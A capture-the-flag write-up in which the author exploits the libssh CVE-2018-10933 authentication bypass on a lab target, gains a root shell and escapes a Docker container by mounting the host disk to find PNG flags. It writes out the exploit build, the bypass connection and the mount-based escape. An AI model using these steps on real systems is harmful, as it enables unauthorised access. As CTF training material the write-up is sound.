Application Overview

From a previous portscan, we knew on port 2222 of our Linux target a ssh server is running. To actually exploit it knowing the application and its version would be pretty helpful. To do this I used auxiliary/scanner/ssh/ssh_version which is a module available in Metasploit (it is a Metasploit CTF after all).

msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS
msf5 auxiliary(scanner/ssh/ssh_version) > set RPORT 2222
msf5 auxiliary(scanner/finger/finger_users) > run
[+]    - SSH server version: SSH-2.0-libssh_0.8.3 ( service.version=0.8.3 service.product=libssh service.vendor=libssh service.cpe23=cpe:/a:libssh:libssh:0.8.3 service.protocol=ssh fingerprint_db=ssh.banner )

Huh, libssh? I think there was something in the media about a vulnerability in this application some time ago.

Greetings from CVE-2018-10933

After a quick search, CVE-2018-10933 popped out to be said vulnerability. Google also linked us to which is an example exploit of the said vulnerability. Now we only need to get it up and running and hope it is working.

To do this we first need to build our modified ssh-client binary:

$ git clone
$ cd cve-2018-10933/
$ xz -d libssh-0.8.3.tar.xz 
$ tar -xvf libssh-0.8.3.tar 
$ cd libssh-0.8.3/
$ patch -p0 < ../cve-2018-10933.patch
$ sudo apt install zlib1g-dev libssl-dev
$ mkdir build && cd build
$ cmake ..
$ make

Now we only need to connect to the vulnerable host:

$ examples/ssh-client -l root -p 2222

Success! We are greeted with an open shell and can investigate the host for the flag.

Finding the flag

Finding the flag proved more time consuming than though. It simply was not present in the file system. Starting with simple find commands, and later by writing a script to match the magic number of a PNG, I crawled the whole filesystem multiple times without luck.

Thanks to a poke of @d3v1l about this challenge. I tried it again and finally found the solution. It was just obvious, but I ignored it at the beginning. Just look at the output of df:

$ df -hT
Filesystem           Type            Size      Used Available Use% Mounted on
none                 aufs            7.7G      6.5G      1.2G  84% /
tmpfs                tmpfs         999.2M         0    999.2M   0% /dev
tmpfs                tmpfs         999.2M         0    999.2M   0% /sys/fs/cgroup
udev                 devtmpfs      978.7M         0    978.7M   0% /dev/snd
/dev/xvda1           ext4            7.7G      6.5G      1.2G  84% /etc/resolv.conf
/dev/xvda1           ext4            7.7G      6.5G      1.2G  84% /etc/hostname
/dev/xvda1           ext4            7.7G      6.5G      1.2G  84% /etc/hosts
shm                  tmpfs          64.0M         0     64.0M   0% /dev/shm

/dev/xvda1 is mounted multiple times on different files.

Let’s look into the files for the start:

$ cat /etc/hostname
$ cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
search ec2.internal
$ cat /etc/hosts	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters	f7a5828691fc

Does not seem to be of interest for now. We could just be silly and try to mount /dev/xvda1:

$ mount /dev/xvda1 /mnt
$ ls /mnt/
bin             etc             initrd.img.old  lost+found      opt             run             srv             usr             vmlinuz.old
boot            home            lib             media           proc            sbin            sys             var
dev             initrd.img      lib64           mnt             root            snap            tmp             vmlinuz

We are greeted with a new filesystem. Seems we solved the challenge mostly. Now we only need to find the flag. To do this I will use the script written before to have a robust find function. Please note file is not available on the system so we need to work around that limitation and match the magic number ourself:


if [ $# -eq 0 ]
    echo "Usage: $0 <search_root_dir>"

echo "------ start in directory: \"$1\""
find "$1" -type f | while read fname; do
  #echo "test: $fname"
  if hexdump -n8 "$fname" | grep -qF "0000000 5089 474e 0a0d 0a1a"; then
    echo "PNG MATCH: \"$fname\""
echo "------ end"

To upload it I simply did a echo '<my script content here>' > and set the executable flag (chmod +x Now I only need to execute it on our mounted directory:

$ ./ /mnt/
------ start in directory: "/root//mnt/"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag"
<some useless png files>
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag"
<some useless png files>
------ end

We find two PNG’s which are named like a flag :). Obviously they are the same looking at their md5sum:

$ md5sum /mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag
812f6391ec42bf3c227e2c20998ce788  /mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag
$ md5sum /mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag
812f6391ec42bf3c227e2c20998ce788  /mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag

We managed to find the flag. Now we only need to download it, because we do not know which challenge it belongs to. To do this I will do a simple transfer by encoding it in base64 and copy-paste the output:

$ cd /mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/
$ cat flag | base64

To decode it we can copy the output into a file and do a base64 decode:

$ cat flag.base64 | base64 -d > flag.png

We found the 6 of Hearts.



Figure 1 - Retrieved 6_of_hearts.png


In the Slack channel @Warriar gave me the hint that we actually had access to way more flags than 6_of_hearts.png. The ./ script, unfortunately, gave me so much garbage output that I did not search through all results. Doing that would have resulted in finding quite more flags (even though I don’t think this was intended).

Lesson learned: don’t stop on the first flag.

A short recap of flags I was able to find after the competition:

$ find /mnt/ -name *_of*.png

This gave me not a valid png at the start. @asoto-r7 gave me the hint that the endian is changed (verified with the hex-editor). I was told that dd is able to fix this, which was a nice hint. My first approach to change the endian involved a buggy program which seemed to had problems with an odd number of bytes.

$ dd conv=swab < original.png > success.png


Figure 2 - Retrieved 9_of_hearts.png

$ find /mnt/ -name *diamond*

Looks promising, but is only the web space. We solved the challenge in another way.

$ find /mnt/ -name *hearts

Another challenge where we found the flag in its intended way before :).

I also run the following query which simply means: “give me all PNG’s without png in the name”. No new flags found though:

$ ./ /mnt/ | grep -v png
------ start in directory: "/mnt/"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/ffd1d8afbf6ced7fa126401845f9751ed7883d87c55227f8ffd4e7e6d25a0776/metasploit-framework/lib/msf/core/web_services/public/favicon.ico"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/f3df673d9ceeabbf68d6acd3502b730fe6c535e93580a7a7596c269a8b66a824/usr/local/tomcat/tmp/10_of_hearts"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/c8f36ec2cb444ba63ecde6ec534f1fe84bef23dc44c46196b6a4fac86b4b3ba8/metasploit-framework/lib/msf/core/web_services/public/favicon.ico"
hexdump: /mnt/etc/systemd/system/snap-amazonx2dssmx2dagent-495.mount: No such file or directory
------ end

I can likely access other flags as well. I was simply doing some quick glance after the CTF to get some idea how much I missed :). Now I know better.